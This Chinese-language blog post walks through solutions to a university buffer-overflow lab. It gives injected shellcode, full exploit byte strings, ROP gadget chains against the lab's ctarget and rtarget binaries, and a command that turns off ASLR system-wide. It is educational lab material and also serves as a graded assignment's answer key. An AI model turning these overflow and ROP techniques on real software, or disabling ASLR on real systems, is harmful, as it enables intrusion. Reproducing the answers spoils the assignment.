目录
Part Ⅰ:Code Injection Attacks
level1
首先得到getbuf的反汇编代码:
发现栈的大小是0x28,即40个字节
然后我们再来查看touch1的地址,运行与不运行ctarget得到的touch1的地址是不一样的。这里我们取运行后的地址0x00005555555559f6
(一般都是取运行后的地址)
前四十位占满栈的空间 并用小端法输出touch1的地址 就得到了我们的答案
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
f6 59 55 55 55 55 00 00
将答案写入一个名为exploit.txt的文档中
首先要关掉ASLR才能利用./hex2raw < solution1>attack.txt
、gdb ./ctarget
、r < attack.txt
验证答案
在命令行中输入:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
和
cat exploit.txt | ./hex2raw | ./ctarget -q
(输入-q不会返回成绩)
解决完第一个~
level2
得到运行后touch2的地址:0x0000555555555a24
得到inject.s
mov $0x72633e13,%rdi //将cookie值移入到%rdi寄存器中
mov $0x0000555555555a24,%rsi//将touch2的值移入到%rsi寄存器中
push %rsi//地址入栈,配合ret跳转
ret//pop,跳转到touch2
输入gcc -c inject.s
和objdump -d inject.o > inject.d
得到机器代码文件inject.d
inject.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 13 3e 63 72 mov $0x72633e13,%rdi
7: 48 be 24 5a 55 55 55 movabs $0x555555555a24,%rsi
e: 55 00 00
11: 56 push %rsi
12: c3 retq
利用gdb打断点查看rsp的地址为0x55685d98
前四十位用机器代码中的数字填充,并用小端法输出rsp的地址
得到答案
48 c7 c7 13 3e 63 72 48
be 24 5a 55 55 55 55 00
00 56 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
98 5d 68 55 00 00 00 00
解决完第二个~
level3
首先得到运行后的touch3的起始地址为0x0000555555555b3b
由level2可知,%rsp的地址为0x55685d98
由于栈的大小为0x28
,cookie值考虑是否能存入test()的栈帧(父栈),放入更深的栈,%rsp之上,返回地址之上八个字节。即:
0x55685d98 + 0x28 + 0x8 = 0x55685dc8
。
原来我们的cookie值为0x72633e13
,使用man ascii
指令或者直接查表可得cookie:ASCII表示的字符串:37 32 36 33 33 65 31 33
于是我们得到了要插入的代码inject2.s
mov $0x55685dc8,%rdi//$0x55685dc8为存放cookie的地址
mov $0x0000555555555b3b,%rsi//将touch3的首地址先存到寄存器中
push %rsi//然后push进栈
ret
运行gcc -c inject2.s
和objdump -d inject2.o > inject2.d
得到机器代码文件inject2.d
inject2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 c8 5d 68 55 mov $0x55685dc8,%rdi
7: 48 be 3b 5b 55 55 55 movabs $0x555555555b3b,%rsi
e: 55 00 00
11: 56 push %rsi
12: c3 retq
攻击字符串组成为
自己的函数+填充字节+覆盖返回地址+cookie存入返回地址以上
//存放自己插入的函数的地址
48 c7 c7 c8 5d 68 55 48
be 3b 5b 55 55 55 55 00
00 56 c3 00 00 00 00 00
//消耗栈的空间
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//%rsp的地址
98 5d 68 55 00 00 00 00
//cookie ASCII表示的字符串 字符串之后要加00表示结束
37 32 36 33 33 65 31 33 00
以上的level3.txt即为我们的答案
解决完第三个~
Part Ⅱ Return-Oriented Programming
level2
先想办法进行cookie
的存放操作
popq %rax //找58
movq %rax,%rdi //找48 89 c7
输入指令objdump -d rtarget
得到很多函数的反汇编代码,从中挑选出我们需要的
0000000000001bde <addval_189>:
1bde: 8d 87 58 90 c3 41 lea 0x41c39058(%rdi),%eax
1be4: c3 retq
根据我们之前的经验,gadget1运行后58所在的位置的地址应该是0x0000555555555be0
0000000000001c09 <setval_348>:
1c09: c7 07 82 48 89 c7 movl $0xc7894882,(%rdi)
1c0f: c3 retq
gadget2运行后48开始所在地址为0x0000555555555c0c
如图,反汇编得到rtarget中touch2的运行后地址为0x0000555555555a24
最后,我们就得到了答案phase2.txt
//前40个只是为了填充缓冲区
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//小端法输出gadget1的地址
e0 5b 55 55 55 55 00 00
//小端法输出cookie值
13 3e 63 72 00 00 00 00
//小端法输出gadget2的地址
0c 5c 55 55 55 55 00 00
//小端法输出touch2的初始地址
24 5a 55 55 55 55 00 00
运行一下,成功~
成功解决第四个~
level3
在farm中要找的值为
1.48 89 e0
2.04 ?
3.48 89 c7
输入指令objdump -d rtarget
得到很多函数的反汇编代码,从中挑选出我们需要的
0000000000001c87 <getval_283>:
1c87: b8 48 89 e0 90 mov $0x90e08948,%eax
1c8c: c3 retq
0000000000001c16 <add_xy>:
1c16: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
1c1a: c3 retq
0000000000001c09 <setval_348>:
1c09: c7 07 82 48 89 c7 movl $0xc7894882,(%rdi)
1c0f: c3 retq
gadget1
运行后地址为0x0000555555555c88
gadget2
运行后地址为0x0000555555555c18
gadget3
运行后地址为0x0000555555555c0c
如图rtarget中touch3的运行后地址为0x0000555555555b3b
得到答案phase3.txt
//前四十个只是为了填满缓冲区
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//小端法输出gadget1的地址
88 5c 55 55 55 55 00 00
//小端法输出gadget2的地址
18 5c 55 55 55 55 00 00
//小端法输出gadget3的地址
0c 5c 55 55 55 55 00 00
//小端法输出touch3的地址
3b 5b 55 55 55 55 00 00
//以gadget1为准 偏移0x37,即55,55-24=31,31个填充,使偏移量正确
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
//cookie字符串
37 32 36 33 33 65 31 33 00
验证一下,发现正确~
解决了第五个~
完结撒花~
这篇文章只是记录attackLab的解决办法,具体为什么等以后更清晰了再写一篇博客记录~
觉崽的第一篇blog!